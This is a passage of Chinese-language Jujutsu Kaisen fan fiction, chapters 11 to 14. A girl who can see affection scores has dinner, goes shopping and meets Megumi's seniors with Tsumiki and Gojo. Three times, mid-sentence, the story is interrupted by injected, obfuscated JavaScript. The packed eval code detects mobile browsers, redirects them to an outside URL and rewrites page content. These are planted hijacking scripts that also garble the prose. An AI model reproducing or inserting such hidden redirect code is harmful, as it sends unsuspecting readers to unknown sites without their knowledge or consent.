不愧是五条悟严选,真好吃。 “别堵在门口。”身后的伏黑惠语气冷淡。 青年笑吟吟地侧过身,用另一只干净的手在天海瑞穗脑袋上拍了拍:“去吧去吧,津美纪在给你拆新的洗漱用品哦。” 11.Chapter 11 天海瑞穗找过去的时候,津美纪已经拆摆好了她的洗漱用品。 在伏黑姐弟风格分明的牙刷旁边,放了一个印着小狗的杯子,里面的牙刷也很可爱。 “可爱吧?”见她看自己的新牙刷,津美纪凑近了点,特地压低了声音,“这可是惠去挑的哦。” 她头顶着一个深红的爱心,旁边标着95。 天海瑞穗没多看,也跟着她笑:“小惠就喜欢这种可爱的嘛。” 两个人像说悄悄话那样,凑在一起偷偷笑了一会儿,天海瑞穗自告奋勇要给津美纪扎头发。 以前在埼玉的时候,都是津美纪帮她整理头发,但在东京上了几年学,她学了一点简单的处理造型的技巧。这会儿,已经完全等不及想要上手了。 津美纪也欣然答应。 两人于是拿了工具,小跑着进了她的卧室。 经过客厅的时候,五条悟似乎正在和伏黑惠说着什么,瞥见她们之后,高高兴兴挥了挥手,催促道:“还没好吗?” 然而两个女孩完全没有把注意力放到他身上的意思:“再稍等一会儿啦。” 卧室宽敞而明亮,天海瑞穗把津美纪按在梳妆台前,自己则站在背后,手指轻柔地拢起一捧头发,用梳子轻轻梳理。 津美纪的好感度亮眼得让她完全没法忽视。 也正是因为在津美纪的卧室里,只有她们两个人,她才终于松了口气,连表情都有点维持不住。 她手持木梳,一下一下地给津美纪梳着头发,思绪越飘越远。 没错,从下午开始,天海瑞穗就一直处于一个紧绷的状态。 再具体一点,是从见到伏黑惠开始。 倒也不是她大惊小怪,或者是对伏黑惠有什么意见。实在是对方头上的红色太惊人了。 99的好感度,是天海瑞穗目前见到的人里最高的。 ——不如说,有点高过头了吧?! 她连母亲的97都怀疑过是不是自己眼花或者某一刻对方的情感大爆发。 按照天海瑞穗目前所理解的,100大概就是满值了。 那99是什么概念? 天海瑞穗自认为伏黑姐弟是她生命中最重要的人之二,但她对他们的爱有没有99,这一点她还真的没法保证。 因此,在真真切切地直面伏黑惠的感情的那一刻,她下意识地逃避了。 有一种,“她真的得到了这么多爱吗?她值得这么多的爱吗?”的不安感。 “瑞穗?”她的思绪被一声轻柔的呼唤召回。 天海瑞穗回过神来,和镜子里面的津美纪视线相对。 津美纪很体贴地没有多问,只是说:“悟先生也来了哦,瑞穗应该已经在门外见到了吧。” “见到了,顺带着也欣赏了一下他和我们的姐妹穿搭。”天海瑞穗很为她的这份贴心感动,开了个玩笑。 津美纪笑道:“不是挺好的嘛。” “如果小惠也配合的话就更好了。”天海瑞穗手上动作熟练地编了个侧麻花辫,再挽上来盘成低位丸子头,一个简单的发型很快就弄好了。 “要让惠配合的确很有难度呢。”津美纪左右照照镜子,手指在头发上轻轻碰了碰,像是在摸什么易碎品一样。 她很捧场地夸道:“好厉害——瑞穗手真巧,完全没看清楚怎么弄的。” 天海瑞穗得意地哼哼了几声,抱住她的胳膊,脸埋在津美纪肩颈处蹭了蹭:“以后每天都给津美纪做不同的发型。” 津美纪身上香香的,好喜欢。 开门出去的时候,客厅里两双眼睛一齐移来,津美纪莫名感觉有点害羞。 “怎么样!津美纪是不是超美的!”天海瑞穗牵着她的手走到两人面前,微扬着头,面带自豪地问。 伏黑惠神色变缓了些:“很好看。” 五条悟也很配合地海豹鼓掌:“超——好看!小瑞穗也是哦,蓝白色和你绝配!” 他身材高大,比天海瑞穗的生父还要高——这原本是天海瑞穗最怕的那种类型。 实际上,小时候的她的确很怕五条悟。但由于担心他会欺负津美纪和小惠,她还是大着胆子翻进隔壁屋子里,透过门缝偷偷观察。 本以为自己的隐藏很到位,但等到她蹲到腿都麻了,打算溜走的时候,当时还只是少年的五条悟一边笑吟吟地说着:“哎呀,有一只小老鼠呢。” 一边一步一步走到伏黑惠卧室门前,蹲下来,隔着门缝和她对视。 完全就是恐怖片嘛——这一度成为了天海瑞穗的噩梦。 在津美纪的疑惑和伏黑惠的警告声中,五条悟像提溜小猫小狗那样,一把揪起了泪眼汪汪的天海瑞穗。 事后,因为她哭个不停,五条悟还贴上了自己要吃的两块小蛋糕,以此来哄她开心。 和他熟悉起来之后,天海瑞穗才知道他那时候早就知道她在了,只是觉得她小心翼翼挪动麻了的腿的动作很有意思,于是就故意等到了最后。 这人就是这么坏心眼! 五条悟性格多少有点不着调,讲话的语气轻飘飘的,总爱开些玩笑逗人玩,还特别喜欢吃甜食,对那些似乎只有小孩子才喜欢的游戏也很感兴趣……这些似乎都不符合社会对成年男性的刻板印象。 但天海瑞穗很喜欢他这些地方,甚至连他高大的身材,也在被揪起来玩了几次飞天游戏后喜欢上了。 当然,仅限于五条悟。 他每次见面都会给她吃好吃的甜品诶,能是什么坏人呢! 此刻,因为他头顶可爱的粉色爱心,天海瑞穗连他身上故意穿的水色开衫都看顺眼了。 她满怀期待地看着五条悟:“今天吃什么?” 五条悟卖了个关子:“跟着我走就好啦,不会让你失望的。” 看伏黑惠,他也只是摇摇头,表示自己也不知道。 等到了目的地,天海瑞穗看着店门牌,很为五条悟的钱包心疼。 这家高级寿司店是连她都听说过的程度,据说又贵又难约。 她当然知道五条悟是有钱的大少爷,这点钱对他来说或许什么都不是。但天海瑞穗依旧会觉得不好意思,因为她并没有什么能拿来回报他的东西。 像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493256|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是知道她在想些什么,五条悟双手推着她的肩膀:“走啦走啦,快点进去吧,小瑞穗不饿吗?我都要饿死了!” 熟悉的夸大其词,另类的体贴。 落座后,她轻轻扯了一下五条悟的袖子。 一颗白色的脑袋立马凑了过来,对着她眨了眨天空一样蔚蓝的双眼。 很像一只白色的长毛猫。 天海瑞穗也把脑袋凑过去一点,小声道:“其实你穿水色还蛮好看的。” 一金一银两颗脑袋凑在一起,从后面看,居然有种小动物抱团取暖的感觉。 闻言,五条悟轻笑一声:“就只是想说这个?” 她点点头。 这个也很重要呀,感情就是要让对方知道嘛。 脑袋被一只大手揉了两下,很轻,没有弄乱她的头发。 “我可是五条悟大帅哥诶,穿什么都好看。小瑞穗难道今天才发现吗?”青年哼哼着。 哪怕中间隔着一个津美纪,伏黑惠也能很清楚地注意到那边的动静。 他的左手从出门的时候,就放在衣服口袋里,手中攥着的金属钥匙已经沾染上了他的体温,但依旧有着强烈的异物感。 像是在掌心里扎进了一根刺,每牵扯一下,就刺痛一次。 - 高级寿司贵有贵的道理,的确比普通的好吃很多。 因为天海瑞穗对食物完全不挑,三人一拿到鲭鱼寿司,就齐齐放在了她面前。 就连伏黑惠,动作也和他们整齐划一。 在吃他的那份之前,天海瑞穗借着津美纪的遮挡,小心翼翼地观察着他。 黑发少年有一张好看的脸,从侧面看,睫毛长到不可思议,垂眸的时候,有一种柔和的美。 但只看了几秒,伏黑惠就转过脸,那双漂亮的碧绿色眼睛询问地看着她。 似乎是误解了什么,他把自己的那份海胆递了过来。 天海瑞穗愣愣地接过来,低着头,连最爱的海胆也变得没滋没味起来。 无论如何,她也不能逼自己忽视对方头顶的一片红了。 在和赤司征十郎表白失败,抱着伏黑惠哭的那天晚上,面对着伏黑惠笨拙的安慰和不理解的询问,她曾赌气地开口:“那如果是小惠呢?会答应我吗?” 回答她的,是伏黑惠的沉默。 黑发少年没有看她,但手攥得很紧,指节处泛着玉样的白。 天海瑞穗当时认为这是对方在为她没道理且不过脑的话而生气,又碍于她刚表白失败,不好直接冷酷地拒绝。 怕自己让他为难,于是她努力压抑住内心的难过,强颜欢笑着说只是开玩笑。 可是现在—— 假如80以上就是可以告白的好感度,那伏黑惠头上的99又算什么? 算亲情吗? 那个时候,虽说她的表白的确只是赌气式的玩笑话。 但凭着她对伏黑姐弟的依赖,伏黑惠要是点头答应了,为了自己未来能够一直和他,和津美纪在一起,永不分开,天海瑞穗也一定会牢牢抓紧他的手。 绝不放开。 12.Chapter 12 吃完寿司后,他们难得有空能一起逛逛商场。 有多难得呢,上次四人齐聚超过半天,是天海瑞穗和伏黑惠国中刚毕业的时候。 其实主要忙的是五条悟,他好像每天都有无穷无尽的事情要做,甚至连睡觉时间都被狠狠压榨。 天海瑞穗禾津美纪都觉得他还是回去睡觉比较好,于是劝他:“真的不用去休息吗?太勉强自己身体会垮掉的。” 但五条悟更乐意玩,还假装委屈地控诉她俩排挤他和伏黑惠。 伏黑惠:“……?” “只有你被排挤了。”他一脸冷漠。 五条悟这么一撒娇,连天海瑞穗都觉得没眼看,不想理他了。 她扭过头,亲亲热热地挽着津美纪的手臂,讨论起在学校的事情。 “瑞穗在新学校里有没有交到要好的朋友?” “有的!叫双葉优和小泉花音,我们还约好了暑假要去东京周边玩两天呢。” “真好啊……下次也介绍给我认识吧?可以一起开个睡衣派对什么的。” 睡衣派对。 听到关键词,天海瑞穗立刻回头去看伏黑惠。 他和五条悟走在后面,但看样子是有在听她们讲话的。因此,触及到她的目光,少年不自然地捏了捏一侧的肩膀。 她于是不戳破这个小秘密,只是在心里偷偷笑。 身边的津美纪在讲她和朋友们开睡衣派对时发生的有趣的事。 她声音很温柔,对于天海瑞穗来说,是比母亲还要更加熟悉的声音。 过去在埼玉县,她喜欢缠着姥姥听故事,但每次都会讲着讲着就睡着。 于是她就翻窗去隔壁找,后来,几乎每晚都是听着津美纪的声音入睡的。 她会讲学校发生的事,讲故事书里的童话。 讲天海瑞穗最爱听的,她和伏黑惠小时候的事情。 身后,五条悟叽叽喳喳的声音也很难让人忽视。 中间夹着伏黑惠偶尔几句冷淡的回复声。 这一刻,天海瑞穗突然就释怀了。 无论伏黑惠对她怀抱着怎么样的感情,他头顶99的好感度都是不能作假的。 对她来讲,以什么身份待在他身边其实并不重要。重要的是伏黑姐弟不会离开她。 这么想着,天海瑞穗抱津美纪的胳膊又收紧了一点。 鼻尖萦绕着她身上柔和的香味,是从小到大都没有变过的皂香。 她丝毫不掩饰自己的依赖。此刻,哪怕津美纪手中拿的是毒药,她也一定会仰头喝下去,绝不会有半分犹豫。 “瑞穗还是像小时候那样粘着我呢。”清楚地感受到了这份感情,津美纪感觉自己的心脏像是被温热的泉眼包裹着,就快要生根发芽,长出一株翠绿的小草来。 五条悟猝不及防从后面探出一颗脑袋来,抢答道:“是因为津美纪很像妈妈吧。” “诶?” 津美纪吓了一跳,反应过来之后,看向天海瑞穗,眼里闪着惊疑的光:“是这样的嘛?” 天海瑞穗瞪了五条悟一眼,还觉得不解气,又伸手作势要打他。 五条悟见状,也伸出手掌,迎着天海瑞穗的手拍了上去。 一大一小两只手掌心相贴,发出短促又清脆的一声响。 “耶——恭喜答对!”五条悟自己给自己配音。 他甚至故意道:“不过小瑞穗也很粘着小惠,总不能是觉得他也像妈妈吧?” 天海瑞穗:“……?” 这个人! 原本只是做做样子,但现在,她是真想揍五条悟一下。 五条悟只是笑眯眯的,一点要避开的意思都没有。 都这样了,不揍白不揍。 正巧他弯着腰,天海瑞穗在他肩膀上不轻不重地打了一下。 忽略掉五条悟装出来的龇牙咧嘴,她重新看向津美纪。 她刚认识伏黑姐弟的时候,津美纪的母亲和小惠的父亲都还在,但也不怎么管他俩。 她很喜欢隔壁这个讲话温和的姐姐,但由于害怕伏黑甚尔,一直都不太敢靠近她。 直到那个看上去就很可怕的男人消失,她才大着胆子和津美纪搭话。两人逐渐熟悉起来。 但也只是和津美纪。 起初,伏黑惠是不喜欢她的,他总觉得她聒噪,事情又多,有说不完的话。但津美纪很喜欢她,总愿意带着她一起玩。 两个人关系变好,其实是在五条悟出现后。 不知道是因为有了更聒噪的五条悟做对比,还是她担心津美纪而跟到隔壁来偷听的事情触动到了他。 总之那之后,伏黑惠的态度缓和了许多。 天海瑞穗主动要去为晚饭跑腿,他也不等津美纪开口,就很自觉的跟着穿鞋子。 那次,他们遇见了一只爬到树上下不来的幼猫。 天海瑞穗想都没想,扎起头发就往上爬。她像是忘记了身边还有一个伏黑惠的事情,完全没有半点求助意识。 这棵树的高度对她来讲有点困难,把猫揣到口袋里,小心地只留一点缝隙用作流通空气后,她变成了那只上来容易下去难的猫。 树下的伏黑惠很无语,但人都已经上去了,比起抱怨她为什么不打招呼就直接爬树,还是想办法把她救下来更重要一点。 两只玉犬已经跑了出来,左右贴在他腿边,还蹭蹭他的手以表安慰。 天海瑞穗一点一点往下蹭,一直到实在没有粗大的树枝可以支撑,口袋里的小猫发出细弱的叫声。 伏黑惠仰着头,说:“你把外套脱掉,折一根树枝勾住,慢慢放下来。” 天海瑞穗照做,两个人费了九牛二虎之力,终于把她口袋里面的猫救下来。 等到天海瑞穗的时候,就没有这么小心翼翼了。 伏黑惠张着双臂,叫她直接跳下来。 天海瑞穗大惊失色。 她很想说他接着的话两个人都会摔,指不定会磕到脑袋,不如他让开,她自己跳。就算运气不好,也顶多腿受伤。 但看到他沉静的脸,天海瑞穗决定相信他。 对准伏黑惠跳下去的那一刻,她甚至做好了护着他后脑的准备。 然而,不知道伏黑惠是不是每天晚上不睡觉偷偷锻炼,他只是往后踉跄了一下。虽然不太稳,但的的确确是接住了她。 而他受到的最大伤害,居然是来自于她原本要护着他脑袋的那双手——她不小心使了点力,一巴掌拍在了他脑袋上。 天海瑞穗只在最初向下爬树的时候受了点擦伤。 处理伤口的时候,怕伏黑姐弟担心,她一个劲地摇头道:“不疼哦,一点也不疼。” 随后,她就被药水刺激得呲牙咧嘴。 好吧,还是有一点疼的。 “你是笨蛋吗?”伏黑惠给她贴好敷贴后,实在没忍住,这么吐槽了一句。 天海瑞穗疑惑:“?我不是啊。我脑袋应该还算好用。” 伏黑惠:“……” 果然是笨蛋啊。 想到之前她被五条悟吓哭后连吃两块蛋糕,还吃了一大碗饭。伏黑惠以不爱吃为由,把自己的那份点心让了出来。 天海瑞穗再怎么迟钝,也知道他是在安慰她。 她感动得变成了蛋花眼。最后,那份点心是分成了两半。 晚上,天海瑞穗顺着窗户翻过去,落地的时候,正好和坐在床上抱着小猫准备睡觉的伏黑惠对上视线。 看见她,他臭着脸:“说了多少次,不要翻窗户进来。” 天海瑞穗轻手轻脚地接过小猫,一脸无辜:“可是姥姥和津美纪都已经睡了嘛。” “你知道津美纪睡了,还来做什么?” “我是来找小惠的啊。”她凑上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518967|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从怀里掏出来一个东西,像献宝一样,递给伏黑惠。 “谁让你这么叫……”伏黑惠正说着,低头看,是一块巧克力。 “你今天分给我吃点心了,这个给你。”天海瑞穗脸颊微红,下意识摸了下膝盖。那里还贴着伏黑惠傍晚时给贴的敷贴,只是上面多了一个黄色小狗的贴纸。 贴纸是津美纪贴的,巧克力是姥姥出门散步的时候买回来的。 这一刻,她觉得自己就是全世界最幸福的小孩。 伏黑惠伸手接过来,但并不打算现在吃。 他刚刷过牙。 天海瑞穗那双绿色的眼睛最后看了一眼巧克力,才恋恋不舍地把视线放在他身上,像是期待他的反应。 她大概是有在努力掩饰自己的渴望的,只是演技还不太好,没能掩饰住。 伏黑惠呼出一口气,神色变得柔和起来。 巧克力被拆开,伏黑惠默默掰下一小块,剩下的又就着包装袋递给天海瑞穗。 “给我吃吗?可是这个巧克力是给小惠的啊。”天海瑞穗没接,手掌轻轻摸着小猫毛茸茸的脑袋。 伏黑惠想说他不爱吃甜食,但总觉得要是这么说了,她一定会失落。 于是他低声说:“分给你的。” 天海瑞穗想了想,凑上前去,叼走了他手里那一小块:“那我尝这一块!” 伏黑惠瞪大了双眼。 指尖还残留着柔软的触感,像是被火灼烧过一样,只能紧紧抓住被子,以缓解这种奇怪的感觉。 ——从他记事起,从来没有和任何人这样亲近过。 抬眼看,天海瑞穗嘴里含着那块巧克力,就像是吃到了全世界最好吃的东西,幸福地快要冒泡泡了。 她哪时候总是表现得活泼开朗,几乎所有人都觉得她是一个无忧无虑的乐天派。 就连伏黑惠这么敏锐的人,也完全没有察觉到不对劲。 但实际上,因为有父亲的阴影,唯一能依靠的母亲又只是把她丢给姥姥就离开了,天海瑞穗一直处于很紧绷很害怕的状态中。 尽管姥姥是一个很和蔼的老人,她那时候也依旧有种寄人篱下的感觉。只能每天帮忙做家务,拿出自己最乖巧懂事的一面。希望不要给大家添麻烦。 姥姥拿不准小孩的饭量,她又比普通同龄人更能吃一点,但哪怕是饿着肚子,天海瑞穗也会多说一句话。 可是津美纪注意到了。 她温柔地邀请她来家里吃饭,给她盛了很多饭。还借和姥姥讨论料理的话题,说现在的小孩子每天都在长个子,消耗大。甚至昧着良心说出了伏黑惠每天每天都比前一天吃得更多这样的话。 那天之后,天海瑞穗素色的小碗彻底退役,新上任的,是一个印着黄色小狗的大碗。 —— 天海瑞穗伸手,碰了碰津美纪那个由她亲手编好的漂亮发髻,摇摇头:“不是哦,不是觉得津美纪像妈妈一样温暖才黏着你的。” “津美纪就是津美纪。” 在三双眼睛的注视下,她语气温柔但坚定:“是因为喜欢津美纪,所以才总是想粘着你,依赖你。” “怎么只说津美纪,果然因为小惠就像妈妈吗?”明明是这么煽情的氛围,五条悟却打了个岔。 伏黑惠额角跳了跳,语气很凶:“揍扁你。” “小惠到底哪里像妈妈啊?”天海瑞穗完全不理解五条悟的脑回路。 “小惠虽然嘴上总会多啰嗦两句,但是超级心软,又很温柔……我当然也是因为喜欢才会总是粘着啊。” “噗哈哈哈哈哈哈小瑞穗觉得你啰嗦哦。” 伏黑惠害羞之余,又觉得拳头好硬,必须得揍点什么解气才好。 如果那个人正好是白发,爱吃甜食,性格又相当欠揍,就更好了。 他伸出拳头。 当然只打到了无下限。 13.Chapter 13 黄金周的第二天,伏黑惠就开始早出晚归了,好在他每次回来的时候,虽然难掩疲倦,但身上穿的衣服干干净净,也没什么明显的手上痕迹。 所以天海瑞穗和津美纪都是睁一只眼闭一只眼。 津美纪厨艺很好,天海瑞穗做的饭也能吃。两个人每天起床第一件事就是讨论今天吃什么。 这天,照例到了讨论晚饭的时候,津美纪却接到了一通电话。 来自于她国中时的朋友。 电话挂掉之后,津美纪神色有点为难。 天海瑞穗最见不得她皱眉:“怎么了吗?” “小琴说来东京了。”津美纪犹豫着,“说想一起吃晚饭……” 是放心不下她,所以犹豫要不要去吗? “那就去嘛,津美纪和小琴姐好久没见了吧。” 津美纪想了想,问:“要不你和我一起去吧?” “诶?我们又不熟悉,我去的话场面会很尴尬的啦。”天海瑞穗摆摆手,笑着说,“不用担心我,街角那家拉面味道很不错哦。” 劝走了津美纪,她半躺在沙发上,面对着空无一人的屋子,感觉有点无聊。 问问小惠什么时候回来好了。 消息刚发出去,前面就立刻显示了“已读”的字样。 她有点惊讶。 最近伏黑惠看手机的频率是不是有点高了? 很快,那边就直接拨来了一通电话。 本以为会是五条悟的恶作剧,但接通后,的确是伏黑惠的声音。 他大概就在大街上,能听见越来越远的嘈杂声。 “我听津美纪说了,你一个人在家?” 从听筒处传来的声音有点失真,比平时听起来要更有磁性一点。 “啊……我真的很不让人放心吗?”天海瑞穗郁闷地摸摸自己脸,但心里却觉得暖洋洋的。 对此,伏黑惠在电话另一头幅度很小地点了下头:“是有点……学校里的前辈说要一起去吃饭,你要来吗?” 他很令人怀疑地迟疑了一下,才补充道:“五条老师也在。” 学校的前辈? 天海瑞穗的第一反应是感到欣慰。 小惠和前辈相处得这么好吗?好令人感动。 但是,这和她有什么关系? 她疑惑:“我和你的前辈们都不认识啊。” 小琴姐她好歹还认识,和他的前辈们,岂不是会更尴尬。 伏黑惠:“津美纪那边是好久不见的朋友叙旧,所以才会尴尬的吧。” 他一点都不觉得天海瑞穗会怯场。 她从小就自来熟,和谁都能聊两句。 天海瑞穗想了想,觉得也有道理。但她还是有点犹豫。她是没问题,但他的前辈们可未必想要有一个陌生人过来吧? 从她的态度里,伏黑惠立刻猜到了她在想些什么。 他回头看了看隔着一段距离,动作保持高度统一,齐齐整整盯着他看的几个人,又面无表情地瞥过脸。 “没关系,他们好像对你很好奇。” 天海瑞穗一下子从沙发上弹起来,语气严肃:“小惠。” “嗯?”因为她态度的突然转变,伏黑惠也稍微警惕起来。 “你的读心术又升级了吗?” 伏黑惠:“……” 他觉得刚才紧张的自己就是个白痴。 对面的人声音很清脆,还在碎碎念:“你甚至都能隔着手机读我的心了!” 他们在的地方离天海瑞穗并不远,只是她不清楚咒术的存在,没办法让五条悟瞬移过去接人。 伏黑惠于是自己去接她,让五条悟带着其他人先去餐厅。 电话刚一挂掉,天海瑞穗就使出了最快的速度去挑衣服。 她毕竟还想着之后去伏黑惠的学校看看。现在,首先要给他前辈们留个好印象。 伏黑惠打开家门的时候,正好撞上她穿鞋。 天海瑞穗坐在玄关处,仰头朝他笑了笑。 她迅速穿好鞋子,轻巧地从地上跃起来:“走吧。” 伏黑惠乖乖后退几步,给她让出门来,又很自觉地承担了锁门的任务。 两个人到五条悟的包间时,立刻就被两人一熊猫给紧紧盯住了。 当然,五条悟不算在内。 尽管知道天海瑞穗自来熟,其实并不会怯场,但伏黑惠第一反应还是微微往旁边移动,挡住其他人的视线。 意识到自己下意识的行为后,又迎着对面熊猫放光的眼神,他脸有点发热,身体也僵硬得像一根柱子。 天海瑞穗双手抓住他的袖子,从他身后探出头来,看着熊猫的眼神也亮晶晶的,像是在放着光。 一人一熊猫,都两眼放光地看着对方。 “想摸的话就摸摸吧。”真希随手拍了拍熊猫的肉爪子,很豪迈地说。 “要摸吗?”熊猫也大方地站了出来。 得到准许,天海瑞穗兴奋地上前去,伸出手摸了摸他的爪子。 遗憾的是,碍于对方讲话是男声,所以天海瑞穗并没有去碰对方的肚子之类的地方,只是摸了摸手臂。 由于手感实在太好,一直到落座,她才恋恋不舍地把手从熊猫毛茸茸的肉爪子上挪开。 “好神奇,这玩偶服触感好真啊。”虽然不太理解为什么来吃饭还要穿着玩偶服,但这是别人的爱好,她没什么可多嘴的。 况且手感这么好,多穿穿怎么了。 见她这么上道,原本还要补充玩偶服设定的真希默默闭上了嘴。 天海瑞穗的对面是刚才那个讲话很豪迈的绿色头发女生,两人对视一眼,她下意识对对方笑了一下,想要搭话。 下一秒,她才后知后觉地发现刚才光顾着摸熊猫了,还没有和大家打招呼。 她顿时不好意思起来:“抱歉,刚才稍微有点兴奋了……我叫天海瑞穗,是小惠的幼驯染,现在在音驹读高一。” 她自认自己的自我介绍非常中规中矩,但不知道为什么呢,对面几个人突然变了脸色,惊讶地在她和伏黑惠之间来回看了看。 好奇怪的眼神。 熊猫率先打破了这个奇怪的气氛:“我是熊猫,她是真希,这个是棘。” 熊猫就叫熊猫吗? 这什么,花名? 此刻,天海瑞穗还只是觉得他们挺有个性。 但应该是好相处的。 因为明明是第一次见面,但几人的好感度都在40以上,甚至很接近50。 而且他们的自我介绍也都只说了名字。 但在那个叫棘的少年微微弯着眼睛,对她说了一句“还带”的时候,天海瑞穗眨眨眼,开始觉得不对劲了。 咦?小惠的前辈们,好像真的有点奇怪。 就在她沉默的时候,真希看不下去,掐头去尾,很是敷衍草率地解释道:“嘛——总之就是你看到的这样,他们一个是爱穿熊猫装的怪人,一个是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546082|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用饭团馅料代替交流的怪人。” “说人家是怪人也太过分了吧。” 天海瑞穗听得一愣一愣,莫名觉得好像有点酷。 但是那个亚麻色头发的男生看起来很乖的样子,她有点摸不准自己应该怎么回答。 说到底,“海带”到底是什么意思啊? 伏黑惠稍微往她这边靠近了一点,低声说:“海带就是你好的意思。” 不亏是小惠!天海瑞穗在桌子底下对他比了个赞的手势。 “海带!”她学着对方的饭团语和他打招呼,“自创饭团语什么的,好酷啊。” 突然被这么一夸,狗卷棘伸手拉了拉制服领口,有点害羞:“生筋子。” 他的好感度又加了2分,刚好踏上50大关,变成了黄色。 什么什么?天海瑞穗连忙询问地看向伏黑惠。 “表示很高兴的意思。” “这样啊,小惠好厉害,完全破译饭团语了呢!”她照例夸了夸幼驯染,才对着三人道,“我也很高兴认识你们哦。” 发现她很好说话的样子,熊猫大着胆子问:“你不是惠的女朋友吗?” 天海瑞穗闻言,下意识看向旁边的伏黑惠。 “别乱说!”黑发少年脸上泛起浅浅的红晕。 小惠也太容易害羞了吧。他们明明从小到大被人这么误会过很多次。 天海瑞穗面色不变,否认道:“我们不是男女朋友的关系哦。” 对面几人八卦的眼神逐渐变成了同情和……看好戏? 是这样的眼神吗?天海瑞穗有点摸不着头脑。 “自我介绍环节结束——接下来到老师了!”中间多次试图插话,但都被几人默契地忽视掉了的五条悟终于抓住了这个机会,拍拍手,“先来点菜吧……” “虽然很想这么说,但是老师已经点好了哦,小瑞穗的喜好老师可是一清二楚呢!” 他今天戴的是黑色的眼罩,头发就被束了起来,变成了冲天的发型。 天海瑞穗更习惯他顺毛戴墨镜的样子,现在难免有点新奇。 五条悟也兴致勃勃地低下头:“要摸摸看吗?” “要!” 天海瑞穗于是伸手去摸,但就在她的手搭上去之前,五条悟一下子直起腰,退开了。 天海瑞穗:“?” 不给摸就不给摸吧,反正她也不是很感兴趣。 她瞥过脸,却在五条悟像变魔术那样拿出来一个精致的甜品袋时,一下子就被哄好了。 “老师出差的时候也有想着你们哦。”他把里面的甜品拿出来,“这份是小瑞穗的,现在就吃吗?” “回家再吃好了。”天海瑞穗视线缓缓从甜品上挪开,“从刚才开始就想问了。” “嗯嗯,问什么?”五条悟点点头。 “为什么你自称老师啊?” 她这句话一说出口,所有人都愣住了。 “你不知道吗?”真希指着五条悟,“这家伙是高专的老师啊。” 五条悟很配合地自我展示了一下,期待着她的反应:“没错,我是惠的老师哦!” 天海瑞穗一直以来都很捧大家的场,这次,哪怕是伏黑惠,也觉得她会给足五条悟情绪价值。 然而,天海瑞穗看上去比他们还要惊讶,她看着五条悟,像是在内心做了一番纠结,才很认真地直视着他的双眼……不、黑色眼罩 “悟,你有教师资格证吗?” 14.Chapter 14 “你有教师资格证吗?” 天海瑞穗灵魂提问。 平时,面对五条悟那些不着调的奇思妙想,她都很愿意陪着他胡闹,甚至会和他一起对伏黑惠做些无伤大雅的恶作剧。 但五条悟说他在伏黑惠的学校里当老师……这可是教书育人的大事,虽说她对五条悟的人品有信心,也知道他脑子好使,据说学生时代还是个学霸。 但有证和无证,这差别可大了。 五条悟诡异地停顿了一下,然后歪歪脑袋,眼疾手快地从袋子里揪出一个甜品拆开,看也不看,挖下来一块就塞进她嘴里。 天海瑞穗嘴比脑子快,几口吃掉,意犹未尽地舔舔唇。 芝士蛋糕诶,好吃。 刚才还不觉得,这会儿一下子就饿了。 但是。 “这是饭后甜点啊,怎么能现在吃!”她控诉。 五条悟抓紧机会,又给她喂了一小块。 天海瑞穗:“……” 虽然很不情愿,但这真好吃啊。冰冰凉凉入口即化的。 五条悟摆摆手,哄她:“待会儿给你再买一个。这个要冷藏,再不吃都要化了。” 一听要化,天海瑞穗很没骨气地妥协了。 坐在对面的真希一脸无语:“……” 你就这样被忽悠过去了?! 槽点太多了,她甚至不知道该从哪开始吐槽。 天海瑞穗吃了小半个芝士蛋糕后,他们点的菜就都上全了。 她看了眼五条悟。 他虽然在笑,但或许是因为遮着眼睛的缘故,她从他的身上感觉不到任何笑意。 “小瑞穗居然今天才注意到吗?小惠一直叫我老师哦,我以为你早就知道了。”出乎她的意料,五条悟居然在她不打算再问的时候,主动提起了这个话题。 天海瑞穗茫然地摇摇头,单纯道:“我以为那是因为你有在教他锻炼身体?” 他们的格斗术和咒术训练,被她一个锻炼身体给概括了。 不知道是哪里戳中了他的笑点,五条悟低下头,笑得直不起腰来,最后干脆把额头轻轻抵在她肩膀上。 对面的真希完全就是一副看人渣的眼神。 天海瑞穗倒是没觉得这样靠一靠有什么不好,她第一次见五条悟的时候只有六岁,那时候对方就长得很高,在小小的她眼里,五条悟简直就像一个电线杆。 虽然很幼稚,但他会给她买好吃的好玩的,带着他们三个小孩去游乐园玩。 在天海瑞穗父母缺失的童年里,五条悟既像父亲,又像哥哥。 就在她判断着五条悟的精神状态时,眼里的数字闪了闪,由86变为了87。 怎么还长好感度啊? 没有教师资格证就没有吧,她又不会真的对他怎么样。 于是她拍了拍五条悟的脑袋:“悟,不要撒娇。” 